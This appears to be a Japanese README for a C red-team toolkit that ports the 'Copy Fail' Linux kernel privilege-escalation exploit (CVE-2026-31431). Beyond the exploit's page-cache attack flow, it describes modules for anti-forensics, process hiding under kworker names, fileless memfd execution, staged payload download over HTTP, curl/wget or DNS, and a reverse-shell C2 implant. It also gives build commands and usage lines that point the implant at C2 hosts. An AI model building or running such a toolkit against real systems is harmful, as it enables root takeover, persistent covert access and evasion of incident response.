
Copy Fail - CVE-2026-31431 - レッドチームおよび正規の侵入テスト業務向けの堅牢なC実装。 ⚠️ 法的注意事項: 本ツールは、正規のセキュリティ研究、正規の侵入テスト、および防御分析専用です。自分が所有するシステム、または明示的な書面による許可を得たシステムでのみ使用してください。コンピュータシステムへの不正アクセスは違法です。
レッドチームおよび許可されたペネトレーションテスト運用向けの堅牢化されたC実装。
⚠️ 法的注意: 本ツールは、許可されたセキュリティ研究、許可されたペネトレーションテスト、および防御的分析のみを目的としています。自分が所有するシステム、またはテストする明示的な書面による許可を得たシステムでのみ使用してください。コンピュータシステムへの不正アクセスは違法です。
🚀 主要開発はGitLabに移行しました。
このリポジトリはこちらで積極的にメンテナンスされています。問題やコントリビューションについては、GitLabをご利用ください。
このプロジェクトは、CVE-2026-31431("Copy Fail")ローカル権限昇格エクスプロイトの、堅牢化された本番環境対応のC移植版です。元々はTheoriとXintによって2026年4月29日に公開されました。
元の概念実証はPythonで書かれており、研究デモンストレーション用に設計されていました。この実装は、それをレッドチームグレードのツールキットに変換し、以下の機能を備えています:
| 属性 | 値 |
|---|---|
| 公開日 | 2026年4月29日 |
| 研究者 | Theori (Jinoh Kang, Yonghwi Jin, Seunghyun Lee), Xint |
| 解説記事 | https://copy.fail/ |
| 元のPoC | theori-io/copy-fail-CVE-2026-31431 (Python) |
| C移植版(ベースライン) | tgies/copy-fail-c (Tony Gies) |
| 影響を受けるカーネル | Linux 4.14 -- 6.14 (修正コミット a664bf3d603d より前) |
| 深刻度 | CVSS 7.8 (High) -- ローカル権限昇格 |
この脆弱性は、LinuxカーネルのAF_ALG暗号サブシステムに存在します。authencesn AEADテンプレートは、復号のためにin-place最適化を実装しています。ファイルのページキャッシュからsplice()で暗号文が供給されると、カーネルは同じページをソースとデスティネーションの両方として再利用します。
攻撃の流れ:
/usr/bin/su)を読み取り専用で開くAF_ALGを介してauthencesn(hmac(sha256),cbc(aes)) AEAD操作をセットアップするsplice()で暗号文を供給するexecve()でターゲットを実行 -- カーネルはキャッシュから変更されたページをロードし、setuid-rootクレデンシャルを付与する重要な洞察: ディスク上のinodeは決して変更されません。メモリ内のページキャッシュのみが変更されるため、フォレンジック検出は従来のファイル上書きエクスプロイトよりもはるかに困難です。
このプロジェクトは、元の研究をレッドチーム指向の堅牢化で拡張し、9つのモジュールに及びます。
patch_chunk.c)| 機能 | オリジナル | 私たちの実装 |
|---|---|---|
| ソケット管理 | チャンクごとに新しいソケット | ソケット再利用 (~60% 少ないシステムコール) |
| 検証 | なし | mmap + memcmp による自動リトライ (3回試行) |
| 並列書き込み | 逐次的のみ | フォークベースの並列 (最大16プロセス) |
| エラーコード | 成功/失敗のバイナリ | 詳細: 0=検証済み、1=パッチ適用済みカーネル、-1=致命的 |
| ヒープ割り当て | ホットパスでmalloc | スタックのみ (アロケーションジッターなし) |
target_discovery.c)su, sudo, passwd, pkexec, mount, ping など/snap をスキップ (非伝統的なsetuid)anti_forensics.c)| テクニック | 目的 |
|---|---|
posix_fadvise(POSIX_FADV_DONTNEED) | ファイルごとのページキャッシュ削除 |
echo 3 > /proc/sys/vm/drop_caches | グローバルキャッシュ削除 (ルート昇格後) |
utimensat() タイムスタンプ改ざん | 元のatime/mtimeを復元 |
| 自己破壊 | exec前にドロッパーバイナリをゼロで上書き |
| メモリ消去 | volatile による機密バッファのゼロ化 |
memfd_exec.c)kworker、anon_inode、eventfdのような名前を付ける (/proc/$pid/fd/ に溶け込む)stage1.c)| チャネル | ステルス性 | 速度 | フォールバック優先度 |
|---|---|---|---|
| 組み込み | 最大 | 即時 | 最後 (エアギャップ) |
| HTTP直接 | 中 | <1秒 | 最初 |
| システムcurl/wget | 低 | 1-3秒 | 2番目 (HTTPS対応) |
| DNS TXT | 高 | 遅い | 3番目 (ファイアウォール迂回) |
stage2_template.c)SIGUSR1 (トリガー)、SIGUSR2 (ステータス)、SIGTERM (シャットダウン)ps/topで[kworker/N:0]と表示proc_hide.c)/proc/$pid/cmdlineを置き換えSSH_*、AWS_*、TOKEN*などの選択的消去setsid() + setpgid()signal_trigger.c)| モード | 動作 | ユースケース |
|---|---|---|
trigger_oneshot() | スリープ → トリガー → 実行 → 終了 | ヒットアンドラン |
trigger_daemon() | スリープ → トリガー → 実行 → ループ | 持続的インプラント |
trigger_auto() | タイムアウトフォールバック付きスリープ | 無人運用 |
CPUゼロ待機: ポーリングループの代わりにsigsuspend()を使用。
sleep_jitter.c)getrandom(2)、/dev/urandom、rdtsc フォールバックsleep_scheduled() はジッターがあっても平均間隔を維持check_sandbox_acceleration() でパッチ適用済みのsleep()を検出┌─────────────────────────────────────────────────────────────┐
│ exploit.c (オーケストレーター) │
│ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │
│ │ プロセス │ │ターゲット│ │エクス │ │ クリーン│ │
│ │ 隠蔽 │ │ 発見 │ │プロイト │ │ アップ │ │
│ └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ コアモジュール層 │ │
│ │ patch_chunk.c target_discovery.c anti_forensics.c │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ 配信&回避層 │ │
│ │ stage1.c memfd_exec.c proc_hide.c │ │
│ │ signal_trigger.c sleep_jitter.c │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ ペイロード層 (ステージ2) │ │
│ │ stage2_template.c (リバースシェル / C2インプラント) │ │
│ └─────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
linux-libc-dev または同等)musl-tools (小型静的ビルド用)zig (最新のクロスコンパイル用)dpkg-deb (Debianパッケージング用)# 標準レッドチームビルド (最適化、ストリップ、静的)
make redteam
# ペンテストビルド (シンボルあり、中程度の最適化)
make pentest
# デバッグビルド (ASAN、完全シンボル)
make debug
# 脆弱性チェッカー (非破壊)
make checker
# ARM64 (AWS/Azureクラウドターゲット)
make cross-arm64
# RISC-V
make cross-riscv
# ARM HF (組み込み/IoT)
make cross-armhf
# Zigクロスコンパイル (ツールチェーンインストール不要)
make cross-zig-arm64
make cross-zig-riscv
make musl-static
# 約50-100 KBの静的バイナリ、glibc依存性ゼロ
make deb VERSION=1.0.0
# 生成物: build/deb/copy-fail-cve-2026-31431-1.0.0.deb
make info
# 表示: CC, CFLAGS, LDFLAGS, アーキテクチャ, ツールチェーンの利用可能性
# インプラントを配置
./exploit &
IMP_PID=$!
# リモートからエクスプロイトをトリガー
kill -USR1 $IMP_PID
# ステータスを要求 (アクションなし)
kill -USR2 $IMP_PID
# 正常シャットダウン
kill -TERM $IMP_PID
./exploit -t # 今すぐトリガー、シグナル待機なし
./exploit -t -c c2.example.com -p 9999
./exploit \
-c c2.redteam.internal \ # C2ホスト名
-p 4444 \ # C2ポート
-d 300 \ # 5分の初期遅延
-T 7200 \ # 2時間のトリガータイムアウト
-n # 脆弱性検証をスキップ
./vulnerable
# 終了コード: 100 = 脆弱、0 = パッチ適用済み、その他 = エラー